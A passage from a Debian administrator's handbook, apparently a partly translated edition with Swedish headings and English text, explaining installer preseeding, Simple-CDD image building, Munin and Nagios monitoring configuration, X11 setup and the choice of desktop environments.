Preseeding allows to provide a set of answers to Debconf questions at installation time, but these answers are static and do not evolve as time passes. Since already-installed machines may need upgrading, and new answers may become required, the /etc/debconf.conf configuration file can be set up so that Debconf uses external data sources (such as an LDAP directory server, or a remote file accessed via NFS or Samba). Several external data sources can be defined at the same time, and they complement one another. The local database is still used (for read-write access), but the remote databases are usually restricted to reading. The debconf.conf(5) manual page describes all the possibilities in detail (you need the debconf-doc package).

12.3.2.1. Using a Preseed File

There are several places where the installer can get a preseeding file:

in the initrd used to start the machine; in this case, preseeding happens at the very beginning of the installation, and all questions can be avoided. The file just needs to be called preseed.cfg and stored in the initrd root.

on the boot media (CD or USB key); preseeding then happens as soon as the media is mounted, which means right after the questions about language and keyboard layout. The preseed/file boot parameter can be used to indicate the location of the preseeding file (for instance, /cdrom/preseed.cfg when the installation is done off a CD-ROM, or /hd-media/preseed.cfg in the USB-key case).

from the network; preseeding then only happens after the network is (automatically) configured; the relevant boot parameter is then preseed/url=http://server/preseed.cfg (HTTPS, FTPS, SFTP, etc. are not supported).

At a glance, including the preseeding file in the initrd looks like the most interesting solution; however, it is rarely used in practice, because generating an installer initrd is rather complex. The other two solutions are much more common, especially since boot parameters provide another way to preseed the answers to the first questions of the installation process. The usual way to save the bother of typing these boot parameters by hand at each installation is to save them into the configuration for isolinux (in the CD-ROM case) or syslinux (USB key).

12.3.2.2. Creating a Preseed File

A preseed file is a plain text file, where each line contains the answer to one Debconf question. A line is split across four fields separated by whitespace (spaces or tabs), as in, for instance, d-i mirror/suite string stable:

the first field is the “owner” of the question; “d-i” is used for questions relevant to the installer, but it can also be a package name for questions coming from Debian packages;

the second field is an identifier for the question (the template name);

third, the type of question;

the fourth and last field contains the value for the answer. Note that it must be separated from the third field with a single space; if there are more than one, the following space characters are considered part of the value.

The simplest way to write a preseed file is to install a system by hand. Then debconf-get-selections --installer will provide the answers concerning the installer. Answers about other packages can be obtained with debconf-get-selections. However, a cleaner solution is to write the preseed file by hand, starting from an example and the reference documentation: with such an approach, only questions where the default answer needs to be overridden can be preseeded; using the priority=critical boot parameter will instruct Debconf to only ask critical questions, and use the default answer for others.

Pre-setting a value in a preseed file automatically instructs the Debian installer to not ask that question. This happens, because loading the preseed file does not just set the given value(s), but also marks each of the affected dialogs as “seen“ by the user. Thus it is possible to pre-set a question's value and still present the dialog to the user by resetting the “seen“ flag. Beware that order in this case matters and that the value has to be preseeded before setting the dialog to “unseen“ as shown in the following example:

d-i netcfg/hostname string worker d-i netcfg/hostname seen false

DOCUMENTATION Installation guide appendix

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations. There are also collections of all debconf templates extracted from each component and suite of Debian:

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://preseed.debian.net/

Preseeding an installation is often not as straightforward as one would wish. It sometimes requires to understand how packages process the given values in their scripts. Don't hesitate to ask on the <debian-cd@lists.debian.org> mailing list or in the #debian-cd IRC channel if you require help. Also be aware that some complex setups still cannot be achieved by preseeding.

12.3.2.3. Creating a Customized Boot Media

Knowing where to store the preseed file is all very well, but the location isn't everything: one must, one way or another, alter the installation boot media to change the boot parameters and add the preseed file.

12.3.2.3.1. Starta från nätverket

When a computer is booted from the network, the server sending the initialization elements also defines the boot parameters. Thus, the change needs to be made in the PXE configuration for the boot server; more specifically, in its /tftpboot/pxelinux.cfg/default configuration file. Setting up network boot is a prerequisite; see the Installation Guide for details.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Preparing a Bootable USB Key

Once a bootable key has been prepared (see Avsnitt 4.1.2, ”Starta upp från en USB-sticka”), a few extra operations are needed. Assuming the key contents are available under /media/usbdisk/, copy the preseed file to /media/usbdisk/preseed.cfg.

If you have been using a hybrid ISO image to create the bootable USB stick, then you have to edit /media/usbdisk/boot/grub/grub.cfg (for the EFI boot screen):

Exempel 12.2. boot/grub/grub.cfg file and preseeding parameters

menuentry --hotkey=i 'Install' { set background_color=black linux /install.amd/vmlinuz preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 --- quiet initrd /install.amd/initrd.gz }

And you have to edit /media/usbdisk/isolinux/isolinux.cfg (for BIOS boot) or one of the files it utilizes - e.g. /media/usbdisk/isolinux/txt.cfg - to add required boot parameters:

Exempel 12.3. isolinux/txt.cfg file and preseeding parameters

label install menu label ^Install kernel [...] append preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=/install.amd/initrd.gz --- quiet

If you have been using the hd-media installer image for a custom USB stick, edit /media/usbdisk/syslinux.cfg and add the required boot parameters as shown in the example below:

Exempel 12.4. syslinux.cfg file and preseeding parameters

default vmlinuz append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz --

12.3.2.3.3. Creating a CD-ROM Image

A USB key is a read-write media, so it was easy for us to add a file there and change a few parameters. In the CD-ROM case, the operation is more complex, since we need to regenerate a full ISO image. This task is handled by debian-cd, but this tool is rather awkward to use: it needs a local mirror, and it requires an understanding of all the options provided by /usr/share/debian-cd/CONF.sh; even then, make must be invoked several times. /usr/share/debian-cd/README is therefore a very recommended read.

Having said that, debian-cd always operates in a similar way: an “image” directory with the exact contents of the CD-ROM is generated, then converted to an ISO file with a tool such as genisoimage, mkisofs or xorriso. The image directory is finalized after debian-cd's make image-trees step. At that point, we insert the preseed file into the appropriate directory (usually $TDIR/$CODENAME/CD1/, $TDIR and $CODENAME being parameters defined by the CONF.sh configuration file). The CD-ROM uses isolinux as its bootloader, and its configuration file must be adapted from what debian-cd generated, in order to insert the required boot parameters (the specific files are $TDIR/$CODENAME/CD1/isolinux/isolinux.cfg and $TDIR/$CODENAME/CD1/boot/grub/grub.cfg as shown above). Then the “normal” process can be resumed, and we can go on to generating the ISO image with make image CD=1 (or make images if several CD-ROMs are generated).

12.3.3. Simple-CDD: The All-In-One Solution

Simply using a preseed file is not enough to fulfill all the requirements that may appear for large deployments. Even though it is possible to execute a few scripts at the end of the normal installation process, the selection of the set of packages to install is still not quite flexible (basically, only “tasks” can be selected); more important, this only allows installing official Debian packages, and precludes locally-generated ones.

On the other hand, debian-cd is able to integrate external packages, and debian-installer can be extended by inserting new steps in the installation process. By combining these capabilities, it should be possible to create a customized installer that fulfills our needs; it should even be able to configure some services after unpacking the required packages. Fortunately, this is not a mere hypothesis, since this is exactly what simple-cdd does.

The purpose of this tool is to allow anyone to easily create a distribution derived from Debian, by selecting a subset of the available packages, preconfiguring them with Debconf, adding specific software, and executing custom scripts at the end of the installation process. This matches the “universal operating system” philosophy, since anyone can adapt it to their own needs.

12.3.3.1. Skapa Profiler

Simple-CDD defines “profiles” that match the FAI “classes” concept, and a machine can have several profiles (determined at installation time). A profile is defined by a set of profiles/profile.* files:

the .description file contains a one-line description for the profile;

the .packages file lists packages that will automatically be installed if the profile is selected;

the .downloads file lists packages that will be stored onto the installation media, but not necessarily installed;

the .preseed file contains preseeding information for Debconf questions (for the installer and/or for packages);

the .postinst file contains a script that will be run at the end of the installation process;

lastly, the .conf file allows changing some parameters based on the profiles to be included in an image.

The default profile has a particular role, since it is always selected; it contains the bare minimum required for Simple-CDD to work. The only thing that is usually customized in this profile is the simple-cdd/profiles preseed parameter: this allows avoiding the question, introduced by Simple-CDD, about what profiles to install.

Note also that the commands will need to be invoked from the parent directory of the profiles directory.

12.3.3.2. Konfigurera och använda build-simple-cdd

SNABB TITT Detaljerad konfigurationsfil

An example of a Simple-CDD configuration file, with most possible parameters, is included in the package (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed). This can be used as a starting point when creating a custom configuration file. Unfortunately not everything is documented there, so some variables are only listed and explained in /usr/lib/python3/dist-packages/simple_cdd/variables.py.

It is further important to familiarize yourself with the variables understood by /usr/share/debian-cd/CONF.sh.

Simple-CDD requires many parameters to operate fully. They will most often be gathered in a configuration file, which build-simple-cdd can be pointed at with the --conf option, but they can also be specified via dedicated parameters given to build-simple-cdd. Here is an overview of how this command behaves, and how its parameters are used:

the profiles parameter lists the profiles that will be included on the generated CD-ROM image;

based on the list of required packages, Simple-CDD downloads the appropriate files from the server mentioned in server, and gathers them into a partial mirror (which will later be given to debian-cd);

the custom packages mentioned in local_packages are also integrated into this local mirror;

debian-cd is then executed (within a default location that can be configured with the debian_cd_dir variable), with the list of packages to integrate;

once debian-cd has prepared its directory, Simple-CDD applies some changes to this directory:

files containing the profiles are added in a simple-cdd subdirectory (that will end up on the CD-ROM);

other files listed in the all_extras parameter are also added;

the boot parameters are adjusted so as to enable the preseeding. Questions concerning language and country can be avoided if the required information is stored in the language and country variables.

debian-cd then generates the final ISO image.

12.3.3.3. Generating an ISO Image

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-11-amd64-CD-1.iso.

12.4. Övervakning

Monitoring is a generic term, and the various involved activities have several goals: on the one hand, following usage of the resources provided by a machine allows anticipating saturation and the subsequent required upgrades; on the other hand, alerting the administrator as soon as a service is unavailable or not working properly means that the problems that do happen can be fixed sooner.

Munin covers the first area, by displaying graphical charts for historical values of a number of parameters (used RAM, occupied disk space, processor load, network traffic, Apache/MySQL load, and so on). Nagios covers the second area, by regularly checking that the services are working and available, and sending alerts through the appropriate channels (e-mails, text messages, and so on). Both have a modular design, which makes it easy to create new plug-ins to monitor specific parameters or services.

ALTERNATIVE Zabbix, an integrated monitoring tool

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://zabbix.com/

ALTERNATIVE Icinga, a Nagios fork

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://icinga.com/

12.4.1. Ställa in Munin

The purpose of Munin is to monitor many machines; therefore, it quite naturally uses a client/server architecture. The central host — the grapher — collects data from all the monitored hosts, and generates historical graphs.

12.4.1.1. Configuring Hosts To Monitor

The first step is to install the munin-node package. The daemon installed by this package listens on port 4949 and sends back the data collected by all the active plugins. Each plugin is a simple program returning a description of the collected data as well as the latest measured value. Plugins are stored in /usr/share/munin/plugins/, but only those with a symbolic link in /etc/munin/plugins/ are really used.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this auto-configuration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery can be interesting even though not all plugins have comprehensive documentation.

→ https://gallery.munin-monitoring.org

However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Once all plugins are correctly set up, the daemon configuration must be updated to describe access control for the collected data. This involves allow directives in the /etc/munin/munin-node.conf file. The default configuration is allow ^127\.0\.0\.1$, and only allows access to the local host. An administrator will usually add a similar line containing the IP address of the grapher host, then restart the daemon with systemctl restart munin-node.

GOING FURTHER Creating local plugins

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ https://guide.munin-monitoring.org/en/latest/plugin/writing.html

A plugin is best tested when run in the same conditions as it would be when triggered by munin-node; this can be simulated by running munin-run plugin as root. A potential second parameter given to this command (such as config) is passed to the plugin as a parameter.

When a plugin is invoked with the config parameter, it must describe itself by returning a set of fields:

# munin-run load config graph_title Load average graph_args --base 1000 -l 0 graph_vlabel load graph_scale no graph_category system load.label load graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately"). load.info 5 minute load average

The various available fields are described by the “Plugin reference” available as part of the “Munin guide”.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

When invoked without a parameter, the plugin simply returns the last measured values; for instance, executing sudo munin-run load could return load.value 0.12.

Finally, when a plugin is invoked with the autoconf parameter, it should return “yes” (and a 0 exit status) or “no” (with a 1 exit status) according to whether the plugin should be enabled on this host.

12.4.1.2. Configuring the Grapher

The “grapher” is simply the computer that aggregates the data and generates the corresponding graphs. The required software is in the munin package. The standard configuration runs munin-cron (once every 5 minutes), which gathers data from all the hosts listed in /etc/munin/munin.conf (only the local host is listed by default), saves the historical data in RRD files (Round Robin Database, a file format designed to store data varying in time) stored under /var/lib/munin/ and generates an HTML page with the graphs in /var/cache/munin/www/.

All monitored machines must therefore be listed in the /etc/munin/munin.conf configuration file. Each machine is listed as a full section with a name matching the machine and at least an address entry giving the corresponding IP address.

[ftp.falcot.com] address 192.168.0.12 use_node_name yes

Sections can be more complex, and describe extra graphs that could be created by combining data coming from several machines. The samples provided in the configuration file are good starting points for customization.

The last step is to publish the generated pages; this involves configuring a web server so that the contents of /var/cache/munin/www/ are made available on a website. Access to this website will often be restricted, using either an authentication mechanism or IP-based access control. See Avsnitt 11.2, ”Webbserver (HTTP)” for the relevant details.

12.4.2. Ställa in Nagios

Unlike Munin, Nagios does not necessarily require installing anything on the monitored hosts; most of the time, Nagios is used to check the availability of network services. For instance, Nagios can connect to a web server and check that a given web page can be obtained within a given time.

12.4.2.1. Installera

The first step in setting up Nagios is to install the nagios4 and monitoring-plugins packages. Installing the packages configures the web interface and the Apache server. The authz_groupfile and auth_digest Apache modules must be enabled, for that execute:

# a2enmod authz_groupfile Considering dependency authz_core for authz_groupfile: Module authz_core already enabled Module authz_core already enabled Enabling module authz_groupfile. To activate the new configuration, you need to run: systemctl restart apache2 # a2enmod auth_digest Considering dependency authn_core for auth_digest: Module authn_core already enabled Enabling module auth_digest. To activate the new configuration, you need to run: systemctl restart apache2 # systemctl restart apache2

Adding other users is a simple matter of inserting them in the /etc/nagios4/hdigest.users file.

Pointing a browser at http://server/nagios4/ displays the web interface; in particular, note that Nagios already monitors some parameters of the machine where it runs. However, some interactive features such as adding comments to a host do not work. These features are disabled in the default configuration for Nagios, which is very restrictive for security reasons.

Enabling some features involves editing /etc/nagios4/nagios.cfg. We also need to set up write permissions for the directory used by Nagios, with commands such as the following:

# systemctl stop nagios4 # dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw # dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4 # systemctl start nagios4

12.4.2.2. Konfigurera

The Nagios web interface is rather nice, but it does not allow configuration, nor can it be used to add monitored hosts and services. The whole configuration is managed via files referenced in the central configuration file, /etc/nagios4/nagios.cfg.

These files should not be dived into without some understanding of the Nagios concepts. The configuration lists objects of the following types:

a host is a machine to be monitored;

a hostgroup is a set of hosts that should be grouped together for display, or to factor some common configuration elements;

a service is a testable element related to a host or a host group. It will most often be a check for a network service, but it can also involve checking that some parameters are within an acceptable range (for instance, free disk space or processor load);

a servicegroup is a set of services that should be grouped together for display;

a contact is a person who can receive alerts;

a contactgroup is a set of such contacts;

a timeperiod is a range of time during which some services have to be checked;

a command is the command line invoked to check a given service.

According to its type, each object has a number of properties that can be customized. A full list would be too long to include, but the most important properties are the relations between the objects.

A service uses a command to check the state of a feature on a host (or a hostgroup) within a timeperiod. In case of a problem, Nagios sends an alert to all members of the contactgroup linked to the service. Each member is sent the alert according to the channel described in the matching contact object.

An inheritance system allows easy sharing of a set of properties across many objects without duplicating information. Moreover, the initial configuration includes a number of standard objects; in many cases, defining new hosts, services and contacts is a simple matter of deriving from the provided generic objects. The files in /etc/nagios4/conf.d/ are a good source of information on how they work.

The Falcot Corp administrators use the following configuration:

Exempel 12.5. /etc/nagios4/conf.d/falcot.cfg file

define contact{ name generic-contact service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,u,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email register 0 ; Template only } define contact{ use generic-contact contact_name rhertzog alias Raphael Hertzog email hertzog@debian.org } define contact{ use generic-contact contact_name rmas alias Roland Mas email lolando@debian.org } define contactgroup{ contactgroup_name falcot-admins alias Falcot Administrators members rhertzog,rmas } define host{ use generic-host ; Name of host template to use host_name www-host alias www.falcot.com address 192.168.0.5 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } define host{ use generic-host ; Name of host template to use host_name ftp-host alias ftp.falcot.com address 192.168.0.12 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } # 'check_ftp' command with custom parameters define command{ command_name check_ftp2 command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35 } # Generic Falcot service define service{ name falcot-service use generic-service contact_groups falcot-admins register 0 } # Services to check on www-host define service{ use falcot-service host_name www-host service_description HTTP check_command check_http } define service{ use falcot-service host_name www-host service_description HTTPS check_command check_https } define service{ use falcot-service host_name www-host service_description SMTP check_command check_smtp } # Services to check on ftp-host define service{ use falcot-service host_name ftp-host service_description FTP check_command check_ftp2 }

This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a warning is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the ssh-servers hostgroup. The matching standard service is defined in /etc/nagios4/conf.d/services_nagios2.cfg.

Note the use of inheritance: an object is made to inherit from another object with the “use parent-name”. The parent object must be identifiable, which requires giving it a “name identifier” property. If the parent object is not meant to be a real object, but only to serve as a parent, giving it a “register 0” property tells Nagios not to consider it, and therefore to ignore the lack of some parameters that would otherwise be required.

DOCUMENTATION List of object properties

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

GOING FURTHER Remote tests with NRPE

Many Nagios plugins allow checking some parameters local to a host; if many machines need these checks while a central installation gathers them, the NRPE (Nagios Remote Plugin Executor) plugin needs to be deployed. The nagios-nrpe-plugin package needs to be installed on the Nagios server, and nagios-nrpe-server on the hosts where local tests need to run. The latter gets its configuration from /etc/nagios/nrpe.cfg. This file should list the tests that can be started remotely, and the IP addresses of the machines allowed to trigger them. On the Nagios side, enabling these remote tests is a simple matter of adding matching services using the new check_nrpe command.

Kapitel 13. Arbetsstation

Now that server deployments are done, the administrators can focus on installing the individual workstations and creating a typical configuration.

13.1. Konfigurera X11-servern

A brief reminder: X.org is the software component that allows graphical applications to display windows on screen. It includes a driver that makes efficient use of the video card. The features offered to the graphical applications are exported through a standard interface, X11 (Bullseye contains version X11R7.7).

PERSPEKTIVX11, XFree86 and X.org

X11 is the graphical system most widely used on Unix-like systems (also available for Windows and Mac OS). Strictly speaking, the term “X11” only refers to a protocol specification, but it is also used to refer to the implementation in practice.

X11 had a rough start, but the 1990s saw XFree86 emerge as the reference implementation because it was free software, portable, and maintained by a collaborative community. However, the rate of evolution slowed down near the end when the software only gained new drivers. That situation, along with a very controversial license change, led to the X.org fork in 2004. This is now the reference implementation, and Debian Bullseye uses X.org version 7.7.

Current versions of X.org are able to auto-detect the available hardware: this applies to the video card and the monitor, as well as keyboards and mice; in fact, it is so convenient that the package no longer even creates a /etc/X11/xorg.conf configuration file.

The keyboard configuration is currently set up in /etc/default/keyboard. This file is used both to configure the text console and the graphical interface, and it is handled by the keyboard-configuration package. Details on configuring the keyboard layout are available in Avsnitt 8.1.2, ”Konfigurera tangentbordet”.

The xserver-xorg-core package provides a generic X server, as used by the 7.x versions of X.org. This server is modular and uses a set of independent drivers to handle the many different kinds of video cards. Installing xserver-xorg ensures that both the server and at least one video driver are installed.

Note that if the detected video card is not handled by any of the available drivers, X.org tries using the vesa and fbdev drivers. VESA is a generic driver that should work everywhere, but with limited capabilities (fewer available resolutions, no hardware acceleration for games and visual effects for the desktop, and so on) while fbdev works on top of the kernel's framebuffer device. Nowadays the X server can run without any administrative privileges (this used to be required to be able to configure the screen) and its log file is then stored in the user's home directory in ~/.local/share/xorg/Xorg.0.log, whereas it is /var/log/Xorg.0.log for X servers started with root privileges and for versions older than Debian 9 Stretch. That log file is where one would look to know what driver is currently in use. For example, the following snippet matches what the intel driver outputs when it is loaded:

(==) Matched nouveau as autoconfigured driver 0 (==) Matched modesetting as autoconfigured driver 1 (==) Matched fbdev as autoconfigured driver 2 (==) Matched vesa as autoconfigured driver 3 (==) Assigned the driver to the xf86ConfigLayout (II) LoadModule: "intel" (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so (II) Module intel: vendor="X.Org Foundation"

EXTRA Proprietära drivrutiner

Some video card makers (most notably NVIDIA) refuse to publish the hardware specifications that would be required to implement good free drivers. They do, however, provide proprietary drivers that allow using their hardware. This policy is nefarious, because even when the provided driver exists, it is usually not as polished as it should be; more importantly, it does not necessarily follow the X.org updates, which may prevent the latest available driver from loading correctly (or at all). We cannot condone this behavior, and we recommend you avoid these makers and favor more cooperative manufacturers.

If you still end up with such a card, you will find the required packages in the non-free section: nvidia-driver for NVIDIA cards. It requires a matching kernel module. Building the module can be automated by installing the package nvidia-kernel-dkms (for NVIDIA).

The nouveau project aims to develop a free software driver for NVIDIA cards and is the default driver that you get for those cards in Debian. In general, its feature set and performance do not match the proprietary driver. In the developers' defense, we should mention that the required information can only be gathered by reverse engineering, which makes things difficult. The free drivers for ATI video cards, called radeon and amdgpu, are much better in that regard although it often requires non-free firmware from the firmware-amd-graphics package.

13.2. Anpassa det grafiska gränssnittet

13.2.1. Choosing a Display Manager

The graphical interface only provides display space. Running the X server by itself only leads to an empty screen, which is why most installations use a display manager to display a user authentication screen and start the graphical desktop once the user has authenticated. The three most popular display managers in current use are gdm3 (GNOME Display Manager), sddm (suggested for KDE Plasma) and lightdm (Light Display Manager). More alternatives exist and can be found by searching for the x-display-manager virtual package.

Since the Falcot Corp administrators have opted to use the GNOME desktop environment, they logically picked gdm3 as a display manager too. The /etc/gdm3/daemon.conf configuration file has many options (the list can be found in the /usr/share/gdm/gdm.schemas schema file) to control its behavior while /etc/gdm3/greeter.dconf-defaults contains settings for the greeter “session” (more than just a login window, it is a limited desktop with power management and accessibility related tools). Note that some of the most useful settings for end-users can be tweaked with GNOME's control center.

13.2.2. Välj en fönsterhanterare

Since each graphical desktop provides its own window manager, which window manager you choose is usually influenced by which desktop you have selected. GNOME uses the mutter window manager, Plasma uses kwin, and Xfce (which we present later) has xfwm. The Unix philosophy always allows using one's window manager of choice, but following the recommendations allows an administrator to best take advantage of the integration efforts led by each project.

TILLBAKA TILL GRUNDERNA Fönsterhanterare

The window manager displays the “decorations” around the windows belonging to the currently running applications, which includes frames and the title bar. It also allows reducing, restoring, maximizing, and hiding windows. Most window managers also provide a menu that pops up when the desktop is clicked in a specific way. This menu provides the means to close the window manager session, start new applications, and in some cases, change to another window manager (if installed).

Older computers may, however, have a hard time running heavyweight graphical desktop environments. In these cases, a lighter alternative (search for the x-window-manager virtual package) should be used. “Light” (or small footprint) window managers include WindowMaker (in the wmaker package), afterstep, icewm, blackbox, fluxbox, or openbox. In these cases, the system should be configured so that the appropriate window manager gets precedence; the standard way is to change the x-window-manager alternative with the command update-alternatives --config x-window-manager.

DEBIAN SPECIFICITY Alternatives

The Debian policy lists a number of standardized commands able to perform a particular action. For example, the x-window-manager command invokes a window manager. But Debian does not assign this command to a fixed window manager. The administrator can choose which manager it should invoke.

For each window manager, the relevant package therefore registers the appropriate command as a possible choice for x-window-manager along with an associated priority. Barring explicit configuration by the administrator, this priority allows picking the best installed window manager when the generic command is run.

Both the registration of commands and the explicit configuration involve the update-alternatives script. Choosing where a symbolic command points at is a simple matter of running update-alternatives --config symbolic-command. This script creates (and maintains) symbolic links in the /etc/alternatives/ directory, which in turn references the location of the executable. As time passes, packages are installed or removed, and/or the administrator makes explicit changes to the configuration. When a package providing an alternative is removed, the alternative automatically goes to the next best choice among the remaining possible commands.

Not all symbolic commands are explicitly listed by the Debian policy; some Debian package maintainers deliberately chose to use this mechanism in less straightforward cases where it still brings interesting flexibility (examples include x-www-browser, www-browser, cc, c++, awk, and so on).

13.2.3. Menyhantering

Modern desktop environments and many window managers provide menus listing the available applications for the user. In order to keep menus up-to-date in relation to the actual set of available applications, each package usually provides a .desktop file in /usr/share/applications. The format of those files has been standardized by FreeDesktop.org:

→ https://specifications.freedesktop.org/desktop-entry-spec/latest/

The applications menus can be further customized by administrators through system-wide configuration files as described by the “Desktop Menu Specification”. End-users can also customize the menus with graphical tools such as kmenuedit (in Plasma), alacarte (in GNOME) or menulibre.

→ https://specifications.freedesktop.org/menu-spec/latest/

HISTORIA Debians menysystem

Historically — way before the FreeDesktop.org standards emerged — Debian had invented its own menu system where each package provided a generic description of the desired menu entries in /usr/share/menu/. This tool is still available in Debian (in the menu package) but it is only marginally useful since package maintainers are encouraged to rely on .desktop files instead.

13.3. Grafiska skrivbord

The free graphical desktop field is dominated by two large software collections: GNOME and Plasma by KDE. Both of them are very popular.

This diversity is rooted in history. Plasma (initially only KDE, which is now the name of the community) was the first graphical desktop project, but it chose the Qt graphical toolkit and that choice wasn't acceptable for a large number of developers. Qt was not free software at the time, and GNOME was started based on the GTK+ toolkit. Qt has since become free software, but the projects still evolved in parallel.

The GNOME and KDE communities still work together: under the FreeDesktop.org umbrella, the projects collaborated in defining standards for interoperability across applications.

Choosing “the best” graphical desktop is a sensitive topic which we prefer to steer clear of. We will merely describe the many possibilities and give a few pointers for further thoughts. The best choice will be the one you make after some experimentation.

13.3.1. GNOME

Debian Bullseye includes GNOME version 3.38, which can be installed by a simple apt install gnome (it can also be installed by selecting the “Debian desktop environment” task - task-desktop and task-gnome-desktop).

GNOME is noteworthy for its efforts in usability and accessibility. Design professionals have been involved in writing its standards and recommendations, which has helped developers to create satisfying graphical user interfaces. The project also gets encouragement from the big players of computing, such as Intel, IBM, Oracle, Novell, and of course, various Linux distributions. Finally, many programming languages can be used in developing applications interfacing to GNOME.

Figur 13.1. GNOME-skrivbordet

For administrators, GNOME seems to be better prepared for massive deployments. Application configuration is handled through the GSettings interface and stores its data in the DConf database. The configuration settings can thus be queried and edited with the gsettings, and dconf command-line tools, or by the dconf-editor graphical user interfaces. The administrator can therefore change users' configuration with a simple script. The GNOME website provides information to guide administrators who manage GNOME workstations:

→ https://help.gnome.org/admin/

13.3.2. KDE och Plasma

Debian Bullseye includes version 5.20 of KDE Plasma, which can be installed with apt install kde-standard (task-kde-desktop).

Plasma has had a rapid evolution based on a very hands-on approach. Its authors quickly got very good results, which allowed them to grow a large user-base. These factors contributed to the overall project quality. Plasma is a mature desktop environment with a wide range of applications.

Figur 13.2. Plasma-skrivbordet

Since the Qt 4.0 release, the last remaining license problem with KDE software has been solved. This version was released under the GPL both for Linux and Windows (the Windows version was previously released under a non-free license). KDE applications are primarily developed using the C++ language.

13.3.3. Xfce och andra

Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with limited resources. It can be installed with apt install xfce4 (task-xfce-desktop). Like GNOME, Xfce is based on the GTK+ toolkit, and several components are common across both desktops.

Unlike GNOME and Plasma, Xfce does not aim to become a vast project. Beyond the basic components of a modern desktop (file manager, window manager, session manager, a panel for application launchers and so on), it only provides a few specific applications: a terminal, a calendar (orage), an image viewer, a CD/DVD burning tool, a media player (parole), sound volume control and a text editor (mousepad).

→ https://xfce.org/

Figur 13.3. Xfce-skrivbordet

13.3.4. Andra skrivbordsmiljöer

LXDE and LXQt are two desktop environments focusing on the “lightweight” aspect. The former is GTK+ based while the latter is Qt based. They can be installed with the lxde (task-lxde-desktop), and lxqt (task-lxqt-desktop) metapackages.

→ https://lxde.org/

→ https://lxqt.org/

Figur 13.4. The LXDE desktop

Figur 13.5. The LXQT desktop

Cinnamon and MATE both started when GNOME 3 moved away from the traditional desktop paradigm, dropping the usual panel and its menu in favor of the new search-based shell. The former reintroduced a panel by forking GNOME Shell and the latter is a continuation of GNOME 2. They can be installed with the cinnamon-desktop-environment (task-cinnamon-desktop) and mate-desktop-environment (task-mate-desktop) meta-packages.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

Figur 13.6. The Cinnamon desktop

Figur 13.7. The MATE desktop

13.4. E-post

13.4.1. Evolution

COMMUNITY Populära paket

Installing the popularity-contest package enables participation in an automated survey that informs the Debian project about the most popular packages. A script is run weekly by cron which sends an anonymized list of the installed packages (by HTTP or email) and the latest access date for the files they contain. This allows the Debian maintainers to know which packages are most frequently installed, and of these, how frequently they are actually used.

This information is a great help to the Debian project. It is used to determine which packages should go on the first installation disks. The installation data is also an important factor used to decide whether to remove a package with very few users from the distribution. We heartily recommend installing the popularity-contest package, and participating in the survey.

The collected data are made public every day.

→ https://popcon.debian.org/

These statistics can also help users to choose between two packages that seem otherwise equivalent. Choosing the more popular package is probably a safer choice.

Evolution is the GNOME email client and can be installed with apt install evolution. It is more than a simple email client: it also provides a calendar, an address book, a task list, and a memo (free-form note) application. Its email component includes a powerful message indexing system, and allows for the creation of virtual folders based on search queries on all archived messages. In other words, all messages are stored the same way but displayed in a folder-based organization, each folder containing messages that match a set of filtering criteria.

Figur 13.8. Evolution-e-postprogramvaran

